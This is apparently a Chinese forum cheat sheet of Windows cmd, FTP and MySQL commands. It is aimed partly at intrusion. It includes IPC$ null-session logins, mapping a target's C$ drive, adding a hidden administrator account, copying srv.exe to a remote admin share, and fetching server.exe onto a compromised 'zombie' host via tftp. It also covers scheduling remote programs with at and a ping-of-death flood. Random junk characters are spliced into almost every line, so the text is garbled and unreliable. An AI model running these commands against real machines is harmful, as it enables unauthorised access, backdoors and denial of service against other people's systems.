|
net use \\ip\ipc$ " " /user:" " 建立IPC空链接( z+ D6 Z7 t) W* F; T2 O
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
8 ]# p6 Y, o3 P: e3 A" a6 ynet use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
+ [2 b) G- k- E) inet use h: \\ip\c$ 登陆后映射对方C:到本地为H:
/ n5 i/ f* L' R2 p2 w) Nnet use \\ip\ipc$ /del 删除IPC链接8 R9 @8 Z' b4 [; S
net use h: /del 删除映射对方到本地的为H:的映射
- ~3 M- z }9 j; [% C% rnet user 用户名 密码 /add 建立用户4 g1 y0 w3 g% F' u/ T7 @3 X
net user guest /active:yes 激活guest用户
/ N9 L: ]9 ?9 Y7 jnet user 查看有哪些用户! r; X8 N% _) y$ M" B; r7 `: j1 t
net user 帐户名 查看帐户的属性
3 b- c, ?0 Q# z2 M+ x6 W0 A# ?/ v' gnet localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数6 h, T, t, [: M+ h* j
net start 查看开启了哪些服务- g3 l" S8 k' h2 R- H
net start 服务名 开启服务;(如:net start telnet, net start schedule)
3 Q/ [7 f% e0 E9 W- b, V; Mnet stop 服务名 停止某服务
" B! g) {+ q' ]. r* J( Jnet time \\目标ip 查看对方时间# ?' b0 w% F- t G
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
! W6 y1 M0 J; D8 _" H! Hnet view 查看本地局域网内开启了哪些共享
+ Q0 r7 z) n5 onet view \\ip 查看对方局域网内开启了哪些共享1 V6 e7 t( Q0 t3 {7 ]" l/ ?- I
net config 显示系统网络设置3 J& t- D5 G i1 G9 A
net logoff 断开连接的共享* @' {8 e q. T
net pause 服务名 暂停某服务
0 M( f, @2 C" G7 y9 F& K2 Ynet send ip "文本信息" 向对方发信息
z/ j7 |' {5 ^/ L# J, Knet ver 局域网内正在使用的网络连接类型和信息$ U3 \$ N; B" j+ N2 m7 u
net share 查看本地开启的共享
T, M C* M8 nnet share ipc$ 开启ipc$共享$ I$ \& M/ I, t K
net share ipc$ /del 删除ipc$共享0 a5 U6 i4 v8 K% r) m8 c
net share c$ /del 删除C:共享
( U, D' |/ v& g0 {net user guest 12345 用guest用户登陆后用将密码改为12345
* _% y1 t: t# S3 O4 ]net password 密码 更改系统登陆密码, W0 U9 p7 M. ]! ~) w. g2 ?
netstat -a 查看开启了哪些端口,常用netstat -an0 {1 P; Z2 i3 o
netstat -n 查看端口的网络连接情况,常用netstat -an9 B' A; X" m! X( t, w
netstat -v 查看正在进行的工作- V$ A1 u- D, ~5 R/ V; Q1 X
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况): U" b6 T* G9 A i0 P: W1 T9 C7 q
netstat -s 查看正在使用的所有协议使用情况3 [8 G1 a- L9 z N
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
" Q( R- r6 B. V( D$ i. C, P6 t, ctracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
) p9 J& K: y0 iping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。, L) m- z. `( F1 P/ k
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)8 m. q' v- R, R0 _
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
, b" Q" V9 o, M; n5 H/ c. @3 @6 dtlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
# c% E; v) i9 W. B: ykill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)' i$ D! b1 N9 t
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
- _9 f/ ]2 V; T" ?. qdel /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)% ]* j" Q( A' s* R
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖9 Z6 V5 q) ~5 d4 ?' u* p& A
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令7 |* a/ d$ A' j9 `
at id号 开启已注册的某个计划任务
: l$ d( U3 {3 m' X: sat /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
* E* r5 X3 [' M- [4 ~. Y( }at id号 /delete 停止某个已注册的计划任务1 V8 p4 J" R( u0 N
at 查看所有的计划任务+ t1 j3 L* D2 k. N$ e
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
6 `: Z6 [+ M3 w& Y# Vfinger username @host 查看最近有哪些用户登陆+ b. M# l- K) c9 C
telnet ip 端口 远和登陆服务器,默认端口为23
( Y, k, b+ l: N, Q3 k' G) vopen ip 连接到IP(属telnet登陆后的命令)/ }. n) `2 u" J% d8 I
telnet 在本机上直接键入telnet 将进入本机的telnet/ X0 S2 N; Q* x: H+ f
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件7 G5 i0 C, e$ @
copy c:\srv.exe \\ip\***$ 复制本地c:\srv.exe到对方的***下2 L! ]+ M* H5 u7 l, S) b
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件2 Y# m" O: p8 |3 Z4 c y- G+ Q
copy \\ip\***$\svv.exe c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C:* M4 S- m0 s( T+ E
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
( O* J9 ~3 R' Y) c! Ltftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
4 h8 b# @: _* `+ N1 H7 Mtftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
! ]/ E/ N. h7 k: D3 Z% H b9 Uftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)( k) I9 E: P: {% C2 r
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
: M' m2 x! I: Y8 earp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息; N, Q4 c$ l8 \% d
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
+ z. x2 h, g; d, m5 W2 _mem 查看cpu使用情况 O7 u& a' {7 Y0 V5 v
attrib 文件名(目录名) 查看某文件(目录)的属性: F# L5 Z' \3 w
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性; Q V# ~+ c2 Q& H, j
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间8 z1 D$ h& e1 n, E
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
4 a3 r4 M; N: Y# p' o% k Gset 指定环境变量名称=要指派给变量的字符 设置环境变量
# m9 u! a3 \+ Dset 显示当前所有的环境变量
" S8 U$ c5 d8 qset p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量4 V" ^# }+ M H% B7 A& L, j3 ?( k
pause 暂停批处理程序,并显示出:请按任意键继续....+ E0 p) h o; B" g
if 在批处理程序中执行条件处理(更多说明见if命令及变量)/ X9 y$ F" r! H; m5 B$ n; A" T9 G
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
7 }* k6 I; u! v2 w8 N+ Q1 _8 O3 I- qcall 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
- S+ m7 C2 B8 T$ ]+ o6 N9 Hfor 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)9 ]# a# _+ z% {
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
1 O G; R' b" e& c( A0 }' P4 pecho 信息 在屏幕上显示出信息
+ K* [9 p! [3 ~+ M) f3 wecho 信息 >> pass.txt 将"信息"保存到pass.txt文件中7 A& g) }: D$ C/ r7 T# [1 r. Y7 w
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
8 e) e+ O+ C& @" f% l% g& D; sfind 文件名 查找某文件2 T/ J- z: @, i0 h2 `
title 标题名字 更改CMD窗口标题名字
9 A+ U& e) x$ p. W+ @, X3 Rcolor 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白* M4 R7 L w5 K3 I* [4 D( t
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
* x; c7 h8 V9 P' f( i6 ]( G Y9 zver 在DOS窗口下显示版本信息( R, G8 p# Y$ S, i
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)' x3 _/ C5 x; i/ k9 G& P
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS, Q: q3 [2 g. x
md 目录名 创建目录. {2 i# l2 ^( l# H Y9 [5 ^9 m
replace 源文件 要替换文件的目录 替换文件0 I% P9 M1 [: ]+ N( {
ren 原文件名 新文件名 重命名文件名
4 H; |# T) E% f6 ~tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
1 g+ r& ~ E" ?( L6 e: Ptype 文件名 显示文本文件的内容
^; ?% V# ?4 jmore 文件名 逐屏显示输出文件# t& M. e, @7 Q$ c$ X" G/ O
doskey 要锁定的命令=字符" s5 Z7 V; p& M
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
3 M- b' k& } v( ^5 qtaskmgr 调出任务管理器
7 D# k: P& b4 f( Kchkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
+ k& q$ l, F1 l( {2 Itlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
2 m/ n/ x5 _$ C+ k |3 Vexit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
/ g8 C. B# e7 K1 J2 {: bpath 路径\可执行文件的文件名 为可执行文件设置一个路径。8 n6 {5 n; Q2 n7 m% \4 h) H
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?6 `; d) h' K4 l! z' q( N2 w
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;* p8 g( |+ ]+ h j4 A) ^9 r5 E
regedit /e 注册表文件名 导出注册表
4 Q. `; K: L+ Y, h' P, S3 H5 icacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名erm 替换指定用户的访问权限;/G 用户名erm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
$ E. r; L% Z* _; Z5 Zcacls 文件名 查看文件的访问用户权限列表
# U) D# r* ]" I) K! D8 aREM 文本内容 在批处理文件中添加注解
; o! V# @& ?3 V- E( ^' K- |7 mnetsh 查看或更改本地网络配置情况
- @2 [; v; r. B7 K eIIS服务命令:9 H$ w0 Q/ g# K2 f6 f: v
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现), `+ B' y$ Q2 M, Y: f2 x% M& ~
iisreset /start或stop 启动(停止)所有Internet服务, U v& M, h) m1 P9 ^
iisreset /restart 停止然后重新启动所有Internet服务
- G5 e/ J3 A) |0 p& h$ |! Jiisreset /status 显示所有Internet服务状态# @" Y0 C. l* c: O0 e. T
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动3 G5 Q' P- g; F9 l
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
" F- i( O; o$ f) f3 \0 q5 Kiisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
% t5 Z' c P. I8 n: C- H% Oiisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。. i3 ?) j- r8 h A: F
FTP 命令: (后面有详细说明内容)
8 [, t* Z y9 wftp的命令行格式为:9 I* d( Z' \% P, e+ q# K
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。9 s" D' T0 Y2 w
-d 使用调试方式。
4 d5 r" a% f! W0 h8 _5 w7 {-n 限制ftp的自动登录,即不使用.netrc文件。/ K2 V' i/ C; c F* z
-g 取消全局文件名。
& L6 K& P( Q% L6 \* Dhelp [命令] 或 ?[命令] 查看命令说明" L# v) [9 k6 T! `) Y$ h: Z
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
! b$ k! X- i) ]) ~. ~pwd 列出当前远端主机目录2 ] V8 e9 K9 r( j( {
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中/ m) h3 H* I b! R
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
! k- R2 x$ s! i8 c3 Bmget [remote-files] 从远端主机接收一批文件至本地主机
5 }8 D+ ~- I: w8 A/ ymput local-files 将本地主机中一批文件传送至远端主机
+ s& O) W# a K) L$ e1 x: C) Sdir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
4 B9 v- K. r+ | Q0 ~" fascii 设定以ASCII方式传送文件(缺省值)7 D) n( i3 g- k+ [* Q. }
bin 或 image 设定以二进制方式传送文件
8 e7 _( X. r: `3 T8 g! `" Ebell 每完成一次文件传送,报警提示1 F5 \: x" U* e! q- ~7 ]
cdup 返回上一级目录! @. ?: ?( ~7 O% q4 n
close 中断与远程服务器的ftp会话(与open对应)
$ f& }6 U0 Y" O f4 oopen host[port] 建立指定ftp服务器连接,可指定连接端口. m5 R2 J0 W/ n8 F* ^9 b w
delete 删除远端主机中的文件' N# a% k+ r X: ~
mdelete [remote-files] 删除一批文件; i* u) i8 X2 s% n _
mkdir directory-name 在远端主机中建立目录
/ v0 j! W& z5 M6 f, c) nrename [from] [to] 改变远端主机中的文件名
9 c: q, T2 P- c" Qrmdir directory-name 删除远端主机中的目录/ n( K# h) ^5 C- }: H4 A; F
status 显示当前FTP的状态4 f. C* q2 O7 r0 g2 _0 d1 f
system 显示远端主机系统类型1 r7 {) J! H- C3 j' d: c+ }! e
user user-name [password] [account] 重新以别的用户名登录远端主机* O9 p2 C1 [1 ?2 @/ p* q
open host [port] 重新建立一个新的连接$ K J0 V g! K
prompt 交互提示模式
8 e* S1 U8 L- E9 H& `. Bmacdef 定义宏命令" m3 T- X/ j* c, {0 @% V* ?
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
: h% l: T- Y* g \' J4 t w1 [chmod 改变远端主机的文件权限
: q8 ^$ l2 M0 p) Dcase 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
! F; L3 G: }/ E5 b qcd remote-dir 进入远程主机目录
: m" U- a F; xcdup 进入远程主机目录的父目录
' X# ~! l* v1 V! x! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip: A6 ^7 `' \4 N# ?; S4 B
MYSQL 命令:
) ?( @- {- Y8 v! k( pmysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
; c$ g0 W' Y$ n; H& N# b(例:mysql -h110.110.110.110 -Uroot -P1234565 R7 @. G& m5 ^. L
注:u与root可以不用加空格,其它也一样)
+ y K: x% v- e+ Hexit 退出MYSQL
% o. s& B5 q- jmysql*** -u用户名 -p旧密码 password 新密码 修改密码7 A) K A& g: ~" v
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
+ ~" q; l% | U8 X9 Q8 Xshow databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 |
|